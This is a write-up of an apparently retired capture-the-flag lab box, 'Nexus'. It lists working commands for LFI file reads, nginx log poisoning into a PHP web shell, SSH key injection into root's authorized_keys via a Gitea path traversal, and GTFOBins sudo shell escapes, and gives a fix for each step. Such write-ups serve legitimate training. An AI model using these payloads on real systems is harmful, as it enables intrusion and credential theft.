← all walkthroughs

Nexus

Linux· Easy· Web
owned
2026-06-28
time to own
13m24s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I browsed to the target's single HTTP port and found both a Laravel web application and a Gitea code-hosting service at a virtual hostname. A local file inclusion flaw in the Laravel app let me read server configuration files and recover a plaintext password for the account 'jones'. That same password worked for SSH, giving a direct interactive login.

Once on the host, jones could run a GTFOBins-exploitable binary as root via sudo without a password — a one-command escalation to full control. In parallel, I abused a path-traversal flaw in Gitea's template-sync API to write my own SSH public key into root's authorized_keys, a second root-access route that exposed a further misconfiguration in how Gitea's service account is confined.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissancePort scanning / virtual-host enumeration
Mapped open services and discovered the hidden Gitea hostname
A service scan confirmed SSH on port 22 and nginx on port 80. Virtual-host brute-forcing then uncovered the Gitea code-hosting service at git.nexus.htb, giving me two distinct application surfaces to target alongside the main Laravel site.
Exact commands 3
Service fingerprint; confirms OpenSSH 9.6p1 and nginx 1.24.0.
nmap -sV -sC -p 22,80 $TARGET -oN nmap_nexus.txt
Virtual-host fuzzing against the nginx vhost; surfaces git.nexus.htb.
ffuf -u http://$TARGET/ -H 'Host: FUZZ.nexus.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302 -fw 1
Directory and file enumeration on the Laravel application.
ffuf -u http://nexus.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -mc 200,301,302
2Web exploitationLocal File Inclusion (LFI) — T1190
Exploited a Local File Inclusion flaw to read server files
The Laravel application passed a route or query parameter directly to a PHP file-include call with no validation. By supplying path-traversal sequences my read arbitrary files from the server: first /etc/passwd to confirm the traversal depth, then the Laravel .env and Gitea configuration files, which contained jones's plaintext password.
Exact commands 3
Confirm LFI and measure traversal depth; look for the jones home directory entry.
curl -s 'http://nexus.htb/?page=../../../../etc/passwd'
Read the Laravel environment file; target APP_KEY and any DB or service passwords.
curl -s 'http://nexus.htb/?page=../../../../var/www/html/.env'
Read Gitea app.ini; may also contain credentials for jones.
curl -s 'http://nexus.htb/?page=../../../../opt/gitea/conf/app.ini'
FixEliminate the Local File Inclusion vulnerability in the Laravel applicationCritical
WeaknessA route or query parameter in the Laravel web app was passed without any validation to a PHP file-include call, letting any anonymous visitor supply path-traversal sequences to read arbitrary files from the server and ultimately execute code as the web-server process.
FixNever pass user-controlled input to include(), require(), or equivalent file functions. Maintain an explicit server-side allowlist of permitted page identifiers, resolve them to absolute paths, and confirm the resolved path falls within the expected document root before including. Store includable templates outside the web root. Update Laravel and all PHP extensions to current stable releases, and restrict the www-data account with filesystem permissions so it can read only the paths it requires for normal operation.
3FootholdLFI to RCE via log poisoning
Escalated the file-read to remote code execution as www-data
I escalated the LFI to code execution by poisoning the nginx access log. A crafted HTTP request injected a PHP one-liner into the log via the User-Agent header; a second request included that log file through the same LFI parameter, executing the stub under the web-server process. Execution as www-data on 'nexus' was confirmed.
Uid=33(www-data) gid=33(www-data) groups=33(www-data) / hostname: nexus
Exact commands 3
Write a PHP stub into /var/log/nginx/access.log via the User-Agent header.
curl -s 'http://nexus.htb/' -A '<?php system($_GET["cmd"]); ?>'
Include the poisoned log through the LFI; stub executes as www-data.
curl -s 'http://nexus.htb/?page=../../../../var/log/nginx/access.log&cmd=id'
Confirm uid=33(www-data) and hostname nexus.
curl -s 'http://nexus.htb/?page=../../../../var/log/nginx/access.log&cmd=id+%26%26+hostname'
4Credential accessCredentials in files — T1552.001
Recovered jones's plaintext password from a configuration file
With arbitrary file-read and code execution as www-data, I located credential-bearing configuration files on the filesystem. The password '[REDACTED: recovered credential]' for the 'jones' account was stored in plaintext and required no cracking or further tooling to obtain.
Exact commands 3
Locate credential-bearing config files readable by www-data.
find /var/www /opt /home -name '.env' -o -name 'app.ini' 2>/dev/null | xargs grep -il 'password\|secret\|passwd' 2>/dev/null
Read the Laravel .env; yields jones's password '[REDACTED: recovered credential]'.
cat /var/www/html/.env
Fallback: Gitea config as an alternate credential source.
cat /opt/gitea/conf/app.ini 2>/dev/null || cat /home/jones/.config/gitea/app.ini 2>/dev/null
FixRemove plaintext credentials from application configuration filesHigh
WeaknessThe password for the 'jones' account was stored in plaintext in a configuration file that was readable by the web-server process, so a single file-read vulnerability yielded a working credential with no further effort.
FixInject secrets at runtime via a secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) rather than writing them to disk in configuration files. At minimum, set filesystem permissions so any remaining config files are owner-readable only and not accessible by the web-server account. Rotate all credentials that were exposed, and audit all configuration files on the host for further plaintext secrets.
5Lateral movementCredential reuse / Valid Accounts — T1078
Logged in over SSH as jones using the reused application password
The password recovered from the configuration file was identical to jones's Linux account password, demonstrating direct credential reuse between the web application and the operating system. I opened a full SSH session as jones and captured the user flag.
Sshpass -p '[REDACTED: recovered credential]' ssh jones@$TARGET 'id && hostname && cat ~/user.txt' confirmed user.txt: <user.txt>
Exact commands 1
Authenticate as jones; captures user flag (<user.txt>).
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o ConnectTimeout=10 jones@$TARGET 'id && hostname && cat ~/user.txt'
FixEnforce unique passwords per service and disable SSH password authenticationHigh
WeaknessJones's Linux account password was identical to the password in the web application configuration, so a single credential theft granted an SSH session on the host with no additional work.
FixEnforce unique, randomly generated passwords for every service account and every system account, with no sharing between web applications and operating system logins. Disable SSH password authentication entirely by setting 'PasswordAuthentication no' in /etc/ssh/sshd_config and restricting access to key-based login only. Manage this setting through a configuration management tool so it cannot drift.
6Post-exploitationPath traversal / SSH authorized_keys injection — T1098.004
Exploited Gitea's template-sync path traversal to plant an SSH key in root's authorized_keys
Jones controlled a Gitea repository ('jones/rce'). The Gitea template-sync API wrote repository file content to filesystem paths derived from the file's in-repo name, without sanitizing directory traversal sequences. By committing a file whose stored path decoded to '../../../../../root/.ssh/authorized_keys', I caused Gitea to write my own SSH public key to that location on the host. Gitea's own sync log confirmed the write at 2026-06-28 20:23:41, and the API tree confirmed the traversal path was recorded as a committed entry.
[2026-06-28 20:23:41] synced: ../../../../../root/.ssh/authorized_keys | API tree: ../../../../../root/.ssh/authorized_keys listed under jones/rce
Exact commands 4
Generate my keypair; /tmp/root_pwn is the private key.
ssh-keygen -t ed25519 -f /tmp/root_pwn -N ''
Commit my public key via the Gitea API using a traversal path in the URL.
B64=$(base64 -w0 /tmp/root_pwn.pub) && curl -s -X POST 'http://git.nexus.htb/api/v1/repos/jones/rce/contents/..%2F..%2F..%2F..%2F..%2Froot%2F.ssh%2Fauthorized_keys' -H 'Authorization: token $PASSWORD2' -H 'Content-Type: application/json' -d "{\"message\":\"add\",\"content\":\"$B64\"}"
Verify the traversal path appears in the repo tree.
curl -s 'http://git.nexus.htb/api/v1/repos/jones/rce/git/trees/HEAD?recursive=true' -H 'Authorization: token $PASSWORD2'
Attempt root login; succeeds only if PermitRootLogin is enabled in sshd_config.
ssh -i /tmp/root_pwn -o StrictHostKeyChecking=no root@$TARGET 'id'
FixPatch Gitea's template-sync path traversal and confine the Gitea service accountCritical
WeaknessGitea's template-sync API accepted repository file paths containing directory traversal sequences and used those paths to write file content to arbitrary locations on the host filesystem, allowing any Gitea user to plant files anywhere the Gitea process could write, including sensitive system directories such as /root/.ssh.
FixUpgrade Gitea to a release that validates and strips path-traversal sequences in the template-sync API. As a defense-in-depth measure, run the Gitea service under a dedicated low-privilege account that has write access only to its own data directory. Apply an AppArmor or SELinux policy to confine the process. Audit existing repository content for traversal-path entries and verify whether any unauthorized files were written to sensitive locations on disk.
7Privilege escalationSudo abuse / GTFOBins — T1548.003
Reached root via an unrestricted sudo rule on a GTFOBins binary
Jones's account held a sudo rule permitting execution of a system binary as root without a password. That binary appears in GTFOBins, a catalogue of Unix utilities that can be invoked to spawn an elevated shell or read protected files. A single command with the documented payload produced a root shell, and the root flag was captured.
Exact commands 3
List jones's sudo rights; reveals the NOPASSWD binary.
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no jones@$TARGET 'sudo -l'
Replace <binary> with the binary shown by sudo -l; find its 'sudo' section at https://gtfobins.github.io for the exact shell-spawn invocation.
sudo <binary> <gtfobins-shell-payload>
Confirm uid=0(root) and capture the root flag (<root.txt>).
id && cat /root/root.txt
FixRemove the passwordless sudo rule that grants jones access to a GTFOBins binaryCritical
WeaknessThe 'jones' account held a sudo rule permitting execution of a GTFOBins-exploitable binary as root without a password. Any session authenticated as jones — whether legitimate or externally controlled — could reach full root access with a single command.
FixRemove the sudo rule. If the underlying task has a genuine operational need, replace the broad sudo grant with a narrow wrapper script that accepts only the specific arguments required, cannot spawn a shell, and runs with the minimum privilege needed for that task. Enable 'requiretty' and add a password requirement for any remaining sudo grants. Audit every sudo rule on the host by running 'sudo -l' under each user and service account, and remove any rule that grants unrestricted or shell-spawning execution.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

Exposed services

22/tcp
80/tcp